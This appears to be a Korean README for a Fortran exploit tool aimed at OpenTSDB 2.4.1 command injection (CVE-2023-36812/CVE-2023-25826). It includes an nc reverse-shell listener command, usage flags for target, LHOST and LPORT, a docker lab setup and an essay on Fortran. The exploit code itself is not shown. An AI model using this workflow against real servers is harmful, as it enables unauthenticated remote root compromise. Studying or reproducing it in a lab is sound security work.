
Fortran으로 작성된 OpenTSDB <= 2.4.1 명령어 주입(CVE-2023-36812/CVE-2023-25826) 익스플로잇
Fortran으로 작성된 OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) 익스플로잇
이것은 OpenTSDB 2.4.1 이하 버전(CVE-2023-36812/CVE-2023-25826)의 명령 삽입 취약점을 위한 익스플로잇입니다. 이 익스플로잇은 현대적인 Fortran으로 작성되었으며, 올해 초에 만들어진 공식 Fortran http-client 라이브러리를 활용합니다.
OpenTSDB는 Java로 작성된 오픈소스 시계열 데이터베이스입니다. 2020년, 2.4.0 이하 버전에서 호스트에서 루트 권한으로 원격 코드 실행을 달성하기 위해 악용될 수 있는 명령 삽입 취약점이 발견되었습니다. OpenTSDB는 인증을 지원하지 않으므로, CVE-2020-35476으로 추적되는 이 취약점은 OpenTSDB 웹 인터페이스에 접근할 수 있는 누구나 악용할 수 있었습니다. 이 문제는 2.4.1 버전에서 패치되었습니다.
올해 CVE-2020-35476에 대한 패치가 불완전하며, 여러 경로를 통해 OpenTSDB 2.4.1에서 여전히 명령 삽입이 가능하다는 것이 발견되었습니다.
세부 사항:
짧게 말하면, 이 대화를 보고 시작했습니다:

인류를 달에 보내는 데 사용된 프로그래밍 언어로 익스플로잇을 작성한다는 아이디어가 너무 흥미로워서 직접 탐구해보지 않을 수 없었습니다. 이 익스플로잇은 그 실험의 결과물입니다. 성공했는지에 대한 질문에는, 모든 개발자를 피로 묶는 현명하면서도 저주받은 말로만 답할 수 있습니다: 제 컴퓨터에서는 작동합니다. ¯\(ツ)/¯
어쨌든 이 프로젝트에서 얻은 주요 교훈은 다음과 같습니다:
종합해 보면, 상상할 수 있는 모든 사용 사례에 대해 탄탄한 현대적 대안(Python, Go, Rust, Ruby, C# 등)이 너무 많기 때문에 이 언어가 공격 보안 분야에서 진정으로 중요해지는 것은 상상하기 어렵습니다. 하지만 다른 프로그래밍 언어를 실험하는 것을 좋아하고 문자열을 항상 trim() 호출로 감싸는 것을 괜찮게 생각한다면(이 점을 꼭 기억하세요. 엄청난 고통을 덜어줄 것입니다), Fortran은 확인해볼 가치가 충분히 있습니다. 저는 이제 진심으로 이 언어를 응원하고 있으며, http-client 라이브러리에 대한 지원을 계속 추가한다면, 특히 언젠가 http-server 라이브러리를 추가한다면 다시 살펴볼 수도 있습니다.
요약: Fortran http-client 라이브러리가 brr 합니다.
nc -nlvp 1337
opentsdb_key_cmd_injection 디렉토리로 이동하세요# cd /path/to/opentsdb_key_cmd_injection/
fpm을 통해 프로젝트를 실행하세요 (먼저 설치했는지 확인하세요. 설치 지침은 다음 섹션을 참조하세요)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
옵션:
-t - TARGET URL: OpenTSDB의 기본 URL (필수)-l - LHOST: 리스너를 실행 중인 시스템의 IP (필수)-p - LPORT: 리스너 포트 (필수)-v - VERBOSE: 상세 출력 활성화 (선택)gfortran을 설치하세요. 데비안 계열 시스템에서는 다음 명령으로 설치할 수 있습니다:apt install gfortran
chmod +x /<path>/to/fpm
fpm을 설치하기 전에 시스템에 git이 설치되어 있는지 확인하세요.
수동 설치의 경우 공식 설치 지침 여기를 따를 수 있습니다. 다만 이 방법은 번거로울 수 있으므로 docker를 사용하는 것을 권장합니다.
2.4.0 버전의 경우 vulnhub docker 이미지를 사용하고 여기의 설치 지침을 따를 수 있습니다. 해당 이미지는 OpenTSDB 2.4.0까지의 이전 취약점인 CVE-2020-35476을 위해 만들어졌습니다.
2.4.1 버전 및 아마도 다른 모든 버전의 경우, OpenTSDB 2.4.0용 vulhub 이미지를 활용하여 원하는 버전을 설치하도록 편집할 수 있습니다. 저는 2.4.1에 대해 이 방법을 따랐고 잘 작동했습니다.
Dockerfile 및 docker-entrypoint.sh 파일을 여기에서 가져와 전용 디렉토리에 저장하세요.Dockerfile에서 2.4.0의 모든 인스턴스를 원하는 버전(예: 2.4.1)으로 바꾸세요.docker-entrypoint.sh는 수정할 필요가 없습니다.docker-compose.yml 파일을 만드세요:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
저는 이 파일 구조를 사용했습니다:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml 파일이 있는 디렉토리에서 아래 명령을 실행하여 docker-compose를 통해 이미지를 빌드하고 실행하세요:docker-compose up -d
Fortran은 주로 현대 컴퓨팅의 역사에서 중요한 역할을 했지만 오늘날에는 더 이상 관련성이 없다고 여겨지는 고풍스러운 언어로 알려져 있습니다. 1957년에 처음 출시되었으며, ARPANET과 Unix보다 10년 이상 앞섰습니다. 이 시계열 데이터 비디오에 따르면 1960년대와 1970년대 내내 지배적인 프로그래밍 언어였으며, 1990년대 후반까지 가장 인기 있는 10대 언어 중 하나로 남아 있었습니다. 그러나 Windows 98이 출시될 무렵에는 C, C++, Java 및 JavaScript와 같은 더 현대적인 언어들에 밀려 확실히 시대에 뒤처졌으며, 이 모든 언어는 오늘날에도 널리 사용되고 있습니다.
레거시 시스템을 관리하는 용감한 사람들을 제외하면, 지난 20년 동안 IT 분야에서 많은 사람들(우리 영역 밖은 말할 것도 없고)이 Fortran을 접했을 가능성은 낮고, 심지어 여전히 존재한다는 사실조차 아는 사람이 많지 않을 것입니다. 그럼에도 불구하고 Fortran은 여전히 활발히 개발되고 있습니다. 공식 Fortran 웹사이트에 명시된 바와 같이, 이 언어는 2018년에 마지막으로 개정되었으며, 올해(2023)에 또 다른 개정이 있을 것으로 기대됩니다. 실제로 Fortran 커뮤니티는 지난 몇 년 동안 매우 활발했던 것으로 보이며, 생태계 현대화를 위한 몇 가지 주요 프로젝트를 내놓았습니다:
이를 고려할 때, 관리자들은 어느 정도 Fortran의 부활을 목표로 하거나, 최소한 이 언어가 수십 년 더 생존할 수 있는 기회를 주려는 것으로 보입니다. 가장 열렬한 Fortran 팬이라 할지라도 이 언어가 다시 가장 인기 있는 프로그래밍 언어 상위 10위 안에 들 것으로 기대하지는 않겠지만, 언어와 생태계의 지속적인 현대화는 Fortran을 지난 10~20년보다 더 관련성 있게 만들었을 가능성이 높습니다.